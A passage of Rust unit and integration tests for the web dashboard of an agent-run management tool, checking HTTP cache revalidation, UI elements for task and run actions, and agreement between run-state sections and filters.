15952 let js = fx.get("/app.js").await;
15958 assert_eq!(js.status, 200);
15959 let tag = js
15960 .header("etag")
15961 .expect("an etag to revalidate against")
15962 .to_owned();
15963 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15964 assert_eq!(
15965 js.header("cache-control"),
15966 Some("no-cache, must-revalidate"),
15967 "the phone has to ask every time"
15968 );
15969
15970 let again = fx
15973 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15974 .await;
15975 assert_eq!(
15976 again.status, 304,
15977 "a deck it already has costs one round trip"
15978 );
15979 assert!(again.body.is_empty(), "304 carries no body");
15980
15981 let weak = fx
15984 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15985 .await;
15986 assert_eq!(weak.status, 304);
15987 let stale = fx
15988 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15989 .await;
15990 assert_eq!(stale.status, 200, "an older build must be replaced");
15991 assert!(stale.body.contains("renderRunActions"));
15992 }
15993
15994 #[test]
15995 fn the_task_detail_has_an_actions_fab_and_sheet() {
15996 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15997 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15998 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15999 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16001 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16002 assert!(APP_JS.contains("renderTaskActions(task);"));
16004 assert!(APP_JS.contains("renderTaskActions(null);"));
16005 let sheet = APP_JS
16007 .find("function renderTaskActions")
16008 .expect("sheet renderer");
16009 let body = &APP_JS[sheet..sheet + 3000];
16010 assert!(body.contains("changePriority("));
16011 assert!(body.contains("openTaskEdit(task)"));
16012 assert!(body.contains("renderTaskHoldBox(host"));
16013 assert!(body.contains("renderTaskDoneBox(host"));
16014 assert!(body.contains("renderTaskDeleteBox(host"));
16015 assert!(APP_JS.contains("API.priority(id)"));
16016 assert!(APP_JS.contains("API.deleteTask(id)"));
16017 assert!(APP_JS.contains("location.hash = \"#/queue\""));
16019 assert!(APP_JS.contains("$(\"task-actions-error\")"));
16021 }
16022
16023 #[test]
16024 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16025 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16026 let actions = INDEX_HTML
16027 .find("id=\"run-actions-box\"")
16028 .expect("actions box");
16029 assert!(task < actions, "the task entry comes first in the sheet");
16030 assert!(APP_JS.contains("renderRunTaskEntry"));
16031 assert!(APP_JS.contains("\"Open task \""));
16032 assert!(APP_JS.contains("started directly, no task"));
16034 assert!(APP_JS.contains("sheet-task-link"));
16035 assert!(APP_JS.contains("task-chip-link"));
16036 }
16037
16038 #[test]
16039 fn the_deck_never_sends_the_operator_to_a_terminal() {
16040 assert!(
16043 !APP_JS.contains("Run `magi fold` first"),
16044 "the deck must offer the fold, not prescribe a shell command"
16045 );
16046 assert!(APP_JS.contains("foldRun:"));
16047 assert!(APP_JS.contains("resumeRun:"));
16048 assert!(APP_JS.contains("renderRunActions"));
16049
16050 assert!(APP_JS.contains("armedFold"));
16052 assert!(APP_JS.contains("Yes, fold worktrees"));
16053
16054 assert!(APP_JS.contains("can no longer be resumed"));
16057 }
16058
16059 #[test]
16060 fn a_finished_run_explains_itself_with_its_own_last_line() {
16061 assert!(
16067 !APP_JS.contains("collapsed on agent quota"),
16068 "a stall must not be explained by a cause the deck did not check"
16069 );
16070 assert!(
16071 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16072 "and a block must not offer a guess with an `or` in it"
16073 );
16074
16075 assert!(
16079 APP_JS.contains("setText(r.event, run.event || \"\")"),
16080 "the run's last line is rendered unconditionally"
16081 );
16082 assert!(
16083 !APP_JS.contains("moving && run.event"),
16084 "and never gated on the run still moving"
16085 );
16086
16087 assert!(APP_JS.contains("lost to quota"));
16089 }
16090
16091 #[test]
16113 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16114 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16115 let shapes_body_start =
16116 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16117 let shapes_close = APP_JS[shapes_body_start..]
16118 .find("].map(")
16119 .expect("the shape list is closed by its done-computing .map(...)")
16120 + shapes_body_start;
16121 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16122
16123 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16124 for entry in shapes_src.split('{').skip(1) {
16125 let waiting = entry.contains("waiting: true");
16126 let dead = entry.contains("live: \"dead\"");
16127 let status_at =
16128 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16129 let status_end = entry[status_at..]
16130 .find('"')
16131 .expect("the status string is closed")
16132 + status_at;
16133 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16134 }
16135 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16136
16137 let done_rule_marker = "done: !";
16141 let done_rule_at = APP_JS[shapes_close..]
16142 .find(done_rule_marker)
16143 .expect("the done rule follows the shape list")
16144 + shapes_close
16145 + done_rule_marker.len();
16146 let includes_at = APP_JS[done_rule_at..]
16147 .find(".includes(shape.status)")
16148 .expect("the done rule ends in .includes(shape.status)")
16149 + done_rule_at;
16150 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16151 .trim()
16152 .trim_start_matches('[')
16153 .trim_end_matches(']')
16154 .split(',')
16155 .map(|s| s.trim().trim_matches('"'))
16156 .filter(|s| !s.is_empty())
16157 .collect();
16158
16159 let shapes: Vec<(bool, String, bool, bool)> = shapes
16160 .into_iter()
16161 .map(|(waiting, status, dead)| {
16162 let done = !not_done.contains(&status.as_str());
16163 (waiting, status, dead, done)
16164 })
16165 .collect();
16166
16167 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16171 if waiting {
16172 return "waiting";
16173 }
16174 if dead
16175 && !matches!(
16176 status,
16177 "merged"
16178 | "ready"
16179 | "stalled"
16180 | "blocked"
16181 | "failed"
16182 | "verified_noop"
16183 | "superseded"
16184 | "already_in_base"
16185 )
16186 {
16187 return "stale";
16188 }
16189 match status {
16190 "merged" | "ready" => "landed",
16191 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16192 | "already_in_base" => "ended",
16193 _ => "flight",
16194 }
16195 }
16196
16197 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16200 match filter_key {
16201 "active" => !done,
16202 "flight" => !done && !waiting && !dead,
16203 "stale" => !done && !waiting && dead,
16204 "waiting" => waiting,
16205 "done" => done,
16206 "all" => true,
16207 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16208 }
16209 }
16210
16211 let compatible = |section: &str, filter_key: &str| {
16212 shapes.iter().any(|(waiting, status, dead, done)| {
16213 run_section(*waiting, status, *dead) == section
16214 && filter_matches(filter_key, *waiting, *dead, *done)
16215 })
16216 };
16217
16218 let expected = [
16223 ("waiting", [true, false, false, true, true, true]),
16224 ("stale", [true, false, true, false, false, true]),
16225 ("flight", [true, true, false, false, false, true]),
16226 ("landed", [false, false, false, false, true, true]),
16227 ("ended", [false, false, false, false, true, true]),
16228 ];
16229 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16230
16231 for (section, wants) in expected {
16232 for (filter_key, want) in filter_keys.iter().zip(wants) {
16233 assert_eq!(
16234 compatible(section, filter_key),
16235 want,
16236 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16237 );
16238 }
16239 }
16240
16241 assert!(
16244 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16245 );
16246 assert!(APP_JS.contains(
16247 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16248 ));
16249 assert!(APP_JS.contains(
16250 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16251 ));
16252 }
16253
16254 #[tokio::test]
16255 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16256 let dir = tempfile::tempdir().expect("tempdir");
16260 let explicit = dir.path().join("not-a-checkout");
16261 std::fs::create_dir_all(&explicit).expect("create dir");
16262 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16263
16264 let missing = dir.path().join("does-not-exist-at-all");
16265 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16266 }
16267
16268 #[test]
16269 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16270 assert!(APP_JS.contains("function statsDonutArcs"));
16271 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16272 assert!(APP_JS.contains("function statusInBucket"));
16274 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16275 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16276 let buckets = [
16277 "merged",
16278 "ready",
16279 "in_progress",
16280 "blocked",
16281 "failed",
16282 "verified_noop",
16283 "superseded",
16284 "stalled",
16285 ];
16286 for key in buckets {
16287 let var = format!("--verdict-{key}:");
16288 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16290 assert!(
16291 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16292 "{key}"
16293 );
16294 }
16295 }
16296}